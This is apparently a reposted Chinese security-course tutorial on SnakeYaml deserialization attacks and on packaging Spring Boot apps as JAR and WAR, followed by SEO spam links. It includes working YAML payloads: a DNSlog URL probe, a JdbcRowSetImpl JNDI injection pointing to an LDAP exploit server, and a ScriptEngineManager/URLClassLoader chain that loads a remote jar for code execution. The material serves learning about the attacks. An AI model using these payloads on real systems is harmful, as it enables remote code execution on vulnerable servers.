当前位置: 首页 > wzjs >正文

防伪网站怎么做网站维护目标

防伪网站怎么做,网站维护目标,手机淘宝网页版,网站建设与网站设计哪个好学知识点: 1、安全开发-JavaEE-WAR&JAR打包&反编译 2、安全开发-JavaEE-SnakeYaml反序列化&链 一、演示案例-WEB开发-JavaEE-项目-SnakeYaml序列化 常见的创建的序列化和反序列化协议 • (已讲)JAVA内置的writeObject()/readObje…

知识点:
1、安全开发-JavaEE-WAR&JAR打包&反编译
2、安全开发-JavaEE-SnakeYaml反序列化&链

一、演示案例-WEB开发-JavaEE-项目-SnakeYaml序列化

常见的创建的序列化和反序列化协议
• (已讲)JAVA内置的writeObject()/readObject() 通用<==>Object
• JAVA内置的XMLDecoder()/XMLEncoder xml<==>Object
• (已讲)XStream xml<==>Object
• (已讲)SnakeYaml yaml<==>Object
• (已讲)FastJson json<==>Object
• Jackson json<==>Object
SnakeYaml反序列化
SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化:
Yaml.load():反序列化 将YAML格式的字符串或文件内容转换成Java对象;
Yaml.dump():序列化 将一个Java对象转化为yaml文件形式;
测试总结:load和loadas(dump)都调用了对应的set方法

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

<dependency><groupId>org.yaml</groupId><artifactId>snakeyaml</artifactId><version>1.32</version>
</dependency>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
参考:https://www.cnblogs.com/F12-blog/p/18151239

1、URL链(JAVA自带链)

!!java.net.URL ["http://5dsff0.dnslog.cn/"]: 1
// java.net.URL这是JAVA自带的类

在这里插入图片描述
在这里插入图片描述

2、JNDI注入

!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "ldap://localhost:1389/Exploit"
autoCommit: true
//com.sun.rowset.JdbcRowSetImpl是java自带类

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、RCE(自带链+利用SPI机制)

在这里插入图片描述
https://github.com/artsploit/yaml-payload/
在这里插入图片描述

编译项目源码(把该项目打包成一个jar)-命令编译

javac AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

编译项目源码(把该项目打包成一个jar)-项目编译

项目结构-工件-添加-yaml-payload-添加模块输出-构建工件
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

python -m http.server 9999

在这里插入图片描述

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"]]]]

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、演示案例-WEB开发-JavaEE-SpringBoot-打包部署-JAR&WAR

参考:https://mp.weixin.qq.com/s/HyqVt7EMFcuKXfiejtfleg
在这里插入图片描述

SpringBoot项目打包在各类系统服务器中运行:
①jar类型项目
jar类型项目使用SpringBoot打包插件打包时,会在打成的jar中内置tomcat的jar。所以使用jdk直接运行jar即可,jar项目中功能将代码放到其内置的tomcat中运行。
②war类型项目
在打包时需要将内置的tomcat插件排除,配置servlet的依赖和修改pom.xml,然后将war文件放到tomcat安装目录webapps下,启动运行tomcat自动解析即可。

Jar打包

报错解决:
https://blog.csdn.net/Mrzhuangr/article/details/124731024
https://blog.csdn.net/wobenqingfeng/article/details/129914639

1、maven-clean-package

在这里插入图片描述
在这里插入图片描述

2、java -jar xxxxxx.jar

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

War打包

1、pom.xml加入或修改

<packaging>war</packaging>

在这里插入图片描述

2、启动类里面加入配置

public class TestSwaggerDemoApplication extends SpringBootServletInitializer
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
return builder.sources(TestSwaggerDemoApplication.class);
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、maven-clean-package

在这里插入图片描述
在这里插入图片描述

4、war放置tomcat后启动

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

安全:JAVAEE源码架构

无源码下载泄漏风险,JAR泄漏也需反编译(jar文件反编译)
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
不是所有的jar包都能反编译,有些jar包会用到混肴技术(类似APP加壳)


文章转载自:

http://65kb6JvW.fbbmg.cn
http://NLSnDFeo.fbbmg.cn
http://qRCngAZm.fbbmg.cn
http://9Nxet9q0.fbbmg.cn
http://bUJP0vfM.fbbmg.cn
http://ccMpNXpq.fbbmg.cn
http://fcMZa6vO.fbbmg.cn
http://BBznWyPD.fbbmg.cn
http://Idjsnedf.fbbmg.cn
http://fmiCR35q.fbbmg.cn
http://cF5uD86g.fbbmg.cn
http://AqJ6XGVO.fbbmg.cn
http://SMJjqs5g.fbbmg.cn
http://ur7l7uYW.fbbmg.cn
http://GXFodyWR.fbbmg.cn
http://D7uCimmi.fbbmg.cn
http://Qb1icKE5.fbbmg.cn
http://XMGfrudd.fbbmg.cn
http://jDEJguh3.fbbmg.cn
http://BfmToiff.fbbmg.cn
http://41va9lyn.fbbmg.cn
http://dHpcubUA.fbbmg.cn
http://0t94goua.fbbmg.cn
http://pSbMreNc.fbbmg.cn
http://mIDTlx7y.fbbmg.cn
http://FxcpLXxV.fbbmg.cn
http://TlyxiJx1.fbbmg.cn
http://p6UmNA1P.fbbmg.cn
http://OvcLERX6.fbbmg.cn
http://1vGz8YxT.fbbmg.cn
http://www.dtcms.com/wzjs/774656.html

相关文章:

  • 上海文明城市建设网站广州建站公司有哪些
  • 网站改版具体建议装修公司排行榜十大排名
  • 网站开发建设好处wordpress api 自定义
  • 移动网站建设cnfgwordpress 链接重定向
  • 成交型网站建设公司江苏润通市政建设工程有限公司网站
  • 关于建设网站的报告西安编程培训机构
  • 怎样购买网站程序国内有实力的软件开发公司
  • 制作网站需要多少时间怎么免费搭建自己的网站
  • 新浪微博 搭建网站oa办公系统官网
  • 网站源代码怎么下载成都服务器idc托管
  • 怎么做外网网站监控wordpress 右侧最新标题字数
  • 全运会网站建设方案什么是网络营销网络营销与电商营销有什么区别
  • 安做省民改厅网站外贸导向企业网站
  • 个人网站做排名免费建站哪家性价比高
  • 零下一度网站建设创建电子商务网站的步骤
  • 如何搭建一个自己上传视频的网站网页设计中界面设计尺寸为
  • 阿里云可以做哪些网站赣州信息港主页
  • flashxml网站模板青岛网站建设在哪
  • 网站怎么做音乐外链怎么做网站
  • 公司网站建设步骤vue做网站对seo
  • 百度搜索网站排名个人工作室网站模板
  • 中国水电建设集团港航建设有限公司网站中文竖排wordpress
  • 网站建设分工说明电话销售怎么做 网站
  • 网站手机版怎么做的wordpress标签的调用代码
  • 哪里做网站做得好个人免费网站建设模板
  • 网站标题seo昆山网站建设公司苏州爬虫科技
  • 贵阳网站app制作找哪个公司做网站推广最好
  • 台北网站建设从零开始学习网络营销
  • 网站培训班做网站方面
  • 南宁比优建站抖音开放平台注册